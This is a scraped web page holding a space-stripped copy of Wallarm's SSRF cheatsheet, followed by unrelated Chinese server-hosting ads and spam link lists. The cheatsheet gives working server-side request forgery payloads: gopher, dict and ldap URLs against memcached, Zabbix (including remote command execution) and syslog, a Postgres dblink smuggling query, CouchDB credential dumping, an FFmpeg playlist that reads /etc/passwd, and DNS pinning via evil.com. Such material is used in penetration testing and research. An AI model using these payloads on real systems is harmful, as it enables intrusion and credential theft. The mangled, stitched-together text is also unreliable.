expressionpastebin.com

pastebin.com  时间:2021-04-05  阅读:()
SSRFbible.
CheatsheetRevision1.
0326Jan2017Authors:@Wallarm@d0znppresearchteamWallarm.
com|lab.
wallarm.
comTryournewproduct.
WallarmFAST:securitytestsfromtraffichttps://wallarm.
com/wallarm-fast/wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApacheweb-serverHTTPparserNginxweb-serverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningDNSpinningraceconditionPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponseConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedwallarm.
com2ExploitsPHP-FPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBRedisCouchDBExploitsFFmpegReferencesToolsResearcheswallarm.
com3BasicsSSRF-ServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytime-baseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
Determinehost-basedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides20-21aboutFDsand22-23aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopen-phpexec()callfromAPI(suchasexec('echo123>&');)youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
wallarm.
com4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenableby--with-curlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp);//echo$resp.
"nn";echo$doc->getElementsByTagName("error")->item(0)->nodeValue;if(libxml_get_errors()!
=null){print_r(libxml_get_errors());}>wallarm.
com9ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/->gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNon-authoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
18.
8.
8.
8(somethingwhitelistedinvalidate_domainfunction)Andthesecondresponsecouldlookslike:evil.
com->127.
0.
0.
1PHPfsockopen()urlparsingtricks3.
php]]>//validfooterforreadableformatwallarm.
com14SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJava-basedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTP-client,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopen-redirect(WASC-38)orresponsesplitting/smuggling(WASC-25,WASC-27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.
307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOK-LWPPHPwallarm.
com15Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/";$ch=curl_init($url);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret");$resp=curl_exec($ch);Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrict;usewarnings;my$b=LWP::UserAgent->new;my$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a';$b->post($u,{'key'=>'secret'});wallarm.
com16ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServer-SideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquitPHP-FPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7.
Payyourattention,it'sreallyusefullattackvector!
wallarm.
com17SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://string-that-you-want-to-add.
evil.
com:514/FirstconfigureDNStoresolvestring-that-you-want-to-add.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:string-that-you-want-to-add.
evil.
com:8000Connection:Keep-AliveSyslogentities:Nov2300:53:50localhostHost:string-that-you-want-to-add.
evil.
com:8000#015Nov2300:53:50localhostConnection:Keep-Alive#015Nov2300:53:50localhost#015It'susefulthingtoexploitalotofmonitoringsystemsbyaclient-sideissueslikeXSS.
Justbecausethedatafromsysloglookslikeaverifieddataforit.
CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#015ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhost-basedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
wallarm.
com18Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarbootPostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpq-connect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion();');wallarm.
com19MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$nc-l8000|hexdump-C000000003b0000002800000000000000d40700000000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')RedisThereisamanycommandsinRediswhichcanhelpswithanSSRFwork:SLAVEOFhostportMIGRATEhostportkey…(MIGRATE192.
168.
1.
346379""05000KEYSkey1key2key3)CONFIGSET.
.
.
wallarm.
com20CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserver-sideJScodeforexample.
Exploitshttp://localhost:5984/_users/_all_docstosteal_usersdatabasewithcredentials:HTTP/1.
1200OKServer:CouchDB/1.
2.
0(ErlangOTP/R15B01)ETag:"BD1WV12007V05JTG4X6YHIHCA"Date:Tue,18Dec201221:39:59GMTContent-Type:text/plain;charset=utf-8Cache-Control:must-revalidate{"total_rows":1,"offset":0,"rows":[{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}]}Thisexampletestedondebianstableinstallationfrompackagewithoutanyadditionalconfiguration.
Toexecuteserver-sideJSwithrestrictions(server-sideJSissandboxed,nonetwork,IOnoraccessoutsidetheprovideddocumentandfunctions)youmayuseViewAPI.
ThistechniquewasdescribedatBHUS11inthispaperforweb-applicationbasedinjection.
Readthisfirst:http://wiki.
apache.
org/couchdb/HTTP_view_APIAttackercouldalsosendrequestsfromCouchDBservertointranetbyusingreplicationfunction(http://docs.
couchdb.
org/en/stable/api/server/common.
html#replicate).
POSThttp://couchdb:5984/_replicateContent-Type:application/jsonAccept:application/json{"source":"recipes","target":"http://ssrf-me:11211/recipes",}wallarm.
com21FFmpegM38ufileformatprovidessomeusefulmacroscalled"EXTINF".
ThismacrosallowsattackertoreadarbitraryfilesanddoSSRFattacks.
Let'slookatsomebeautifulexampleslistedbelow:$catvideo.
mp4#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.
0,concat:http://example.
org/header.
y4m|file:///etc/passwd#EXT-X-ENDLIST$ffmpeg-ivideo.
mp4thumbnail.
png$ffmpeg-ithumbnail.
pngout.
y4m$catout.
y4mYUV4MPEG2W30H30F25:1IpA0:0CmonoFRAME#$FreeBSD:release/10.
0.
0/etc/master.
passwd256366,!
2013-10-1206:08:18Zrpaulo$#root:*:0:0:Charlie&:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-againSuperuser:/root:Originallink:https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/1533367wallarm.
com22References1.
http://en.
wikipedia.
org/wiki/URI_scheme2.
http://en.
wikipedia.
org/wiki/List_of_TCP_and_UDP_port_numbers3.
http://msdn.
microsoft.
com/en-us/library/system.
uri.
scheme.
aspx4.
http://search.
cpan.
org/~gaas/libwww-perl-6.
04/lib/LWP.
pm5.
http://php.
net/manual/en/wrappers.
php6.
http://docs.
oracle.
com/javase/1.
5.
0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.
html7.
http://www.
kernel.
org/doc/man-pages/online/pages/man2/open.
2.
html8.
http://media.
blackhat.
com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.
pdf9.
http://www.
nostarch.
com/download/tangledweb_ch3.
pdfTools1.
https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
cResearches21.
http://www.
shmoocon.
org/2008/presentations/Web%20portals,%20gateway%20to%20information.
ppt2.
http://www.
slideshare.
net/d0znpp/xxe-advanced-exploitation3.
http://www.
slideshare.
net/d0znpp/caro2012-attack-largemodernwebapplications4.
http://media.
blackhat.
com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.
pdf5.
http://erpscan.
com/wp-content/uploads/2012/11/SSRF.
2.
0.
poc_.
pdf6.
http://www.
riyazwalikar.
com/2012/11/cross-site-port-attacks-xspa-part-2.
html7.
http://www.
slideshare.
net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities8.
http://erpscan.
com/press-center/smbrelay-bible-7-ssrf-java-windows-love/9.
https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/15333672Sortedbydatewallarm.
com23

RAKsmart含站群服务器/10G带宽不限流量首月半价

RAKsmart 商家估摸着前段时间服务器囤货较多,这两个月的促销活动好像有点针对独立服务器。前面才整理到七月份的服务器活动在有一些配置上比上个月折扣力度是大很多,而且今天看到再来部分的服务器首月半价,一般这样的促销有可能是商家库存充裕。比如近期有一些服务商挖矿服务器销售不好,也都会采用这些策略,就好比电脑硬件最近也有下降。不管如何,我们选择服务器或者VPS主机要本着符合自己需求,如果业务不需要,...

提速啦 韩国服务器 E3 16G 3IP 450元/月 韩国站群服务器 E3 16G 253IP 1100元/月

提速啦(www.tisula.com)是赣州王成璟网络科技有限公司旗下云服务器品牌,目前拥有在籍员工40人左右,社保在籍员工30人+,是正规的国内拥有IDC ICP ISP CDN 云牌照资质商家,2018-2021年连续4年获得CTG机房顶级金牌代理商荣誉 2021年赣州市于都县创业大赛三等奖,2020年于都电子商务示范企业,2021年于都县电子商务融合推广大使。资源优势介绍:Ceranetwo...

TmhHost香港三网CN2 GIA月付45元起,美国CN2 GIA高防VPS季付99元起

TmhHost是一家国内正规公司,具备ISP\ICP等资质,主营国内外云服务器及独立服务器租用业务,目前,商家新上香港三网CN2 GIA线路VPS及国内镇江BGP高防云主机,其中香港三网CN2 GIA线路最低每月45元起;同时对美国洛杉矶CN2 GIA线路高防及普通VPS进行优惠促销,优惠后美国洛杉矶Cera机房CN2 GIA线路高防VPS季付99元起。香港CN2 GIA安畅机房,三网回程CN2 ...

pastebin.com为你推荐
公司网络被攻击最近企业受到网络攻击的事件特别多,怎么才能有效地保护企业的网络安全呢?brandoff香港购物在哪里12306崩溃为什么12306进不去嘉兴商标注册怎么查商标注册日期李子柒年入1.6亿将55g铁片放入硫酸铜溶液中片刻,取出洗净,干燥后,称重为56.6g,问生成铜多少g??求解题步骤及答案psbc.com邮政储蓄卡如何激活月神谭求男变女类的变身小说同ip域名什么是同主机域名haole10.com空人电影网改网址了?www.10yyy.cn是空人电影网么www.vtigu.com如图,已知四边形ABCD是平行四边形,下列条件:①AC=BD,②AB=AD,③∠1=∠2④AB⊥BC中,能说明平行四边形
域名查询工具 独享100m 主机 加勒比群岛 hawkhost godaddy主机 百度云100as 免费主机 私服服务器 监控宝 godaddy域名转出 debian源 好看的桌面背景图 镇江联通宽带 北京主机 最好看的qq空间 太原联通测速平台 毫秒英文 北京双线机房 日本bb瘦 更多